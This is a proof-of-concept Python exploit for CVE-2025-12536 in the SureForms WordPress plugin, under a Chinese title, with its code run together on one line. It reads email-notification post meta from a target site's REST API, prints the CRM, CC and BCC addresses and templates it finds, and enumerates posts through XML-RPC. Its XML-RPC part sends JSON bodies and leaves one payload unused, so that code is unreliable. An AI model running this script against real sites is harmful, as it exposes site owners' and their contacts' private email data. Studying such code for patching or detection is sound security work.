CVE-2025-12536 SureForms WordPress插件敏感信息泄露漏洞

import requests import json # CVE-2025-12536 PoC - SureForms Sensitive Information Exposure # Target: WordPress site with SureForms plugin <= 1.13.1 TARGET_URL = "https://target-wordpress-site.com" def exploit_cve_2025_12536(): """ Exploit for CVE-2025-12536: SureForms sensitive information disclosure via improper auth_callback configuration for '_srfm_email_notification' post meta. """ # Step 1: Identify posts with SureForms data using REST API # The vulnerability allows unauthenticated access to post meta headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-12536-PoC)", "Content-Type": "application/json" } # Method 1: Using REST API to get post meta posts_endpoint = f"{TARGET_URL}/wp-json/wp/v2/posts" try: # Get list of posts response = requests.get(posts_endpoint, headers=headers, timeout=10) if response.status_code == 200: posts = response.json() for post in posts: post_id = post['id'] # Method 2: Direct meta access via REST API meta_endpoint = f"{TARGET_URL}/wp-json/wp/v2/posts/{post_id}" meta_response = requests.get(meta_endpoint, headers=headers, timeout=10) if meta_response.status_code == 200: post_data = meta_response.json() # Check if _srfm_email_notification meta exists if 'meta' in post_data: email_config = post_data['meta'].get('_srfm_email_notification') if email_config: print(f"[*] Found sensitive data in post {post_id}") print(f"[*] Email notification config: {json.dumps(email_config, indent=2)}") # Extract sensitive information if isinstance(email_config, dict): crm_addresses = email_config.get('crm_addresses', []) cc_recipients = email_config.get('cc', []) bcc_recipients = email_config.get('bcc', []) email_template = email_config.get('template', '') print(f"[+] CRM Addresses: {crm_addresses}") print(f"[+] CC Recipients: {cc_recipients}") print(f"[+] BCC Recipients: {bcc_recipients}") print(f"[+] Email Template: {email_template[:200]}...") # Method 3: Using XML-RPC if REST API is restricted xmlrpc_endpoint = f"{TARGET_URL}/xmlrpc.php" xmlrpc_payload = { "method": "metaWeblog.getPost", "params": [1, "", ""], "filter": {"post_id": 1} } # Alternative: Use wp.getPost with post ID enumeration for post_id in range(1, 100): xmlrpc_data = { "method": "wp.getPost", "params": [0, "", "", post_id] } try: xmlrpc_response = requests.post( xmlrpc_endpoint, json=xmlrpc_data, headers={"Content-Type": "application/json"}, timeout=10 ) if xmlrpc_response.status_code == 200: result = xmlrpc_response.json() if 'fault' not in result: print(f"[*] Post {post_id} accessible via XML-RPC") except: continue except requests.RequestException as e: print(f"[!] Error: {e}") return False def main(): print("=" * 60) print("CVE-2025-12536 PoC - SureForms Information Disclosure") print("=" * 60) exploit_cve_2025_12536() print("\n[!] Note: Ensure you have permission before testing") if __name__ == "__main__": main()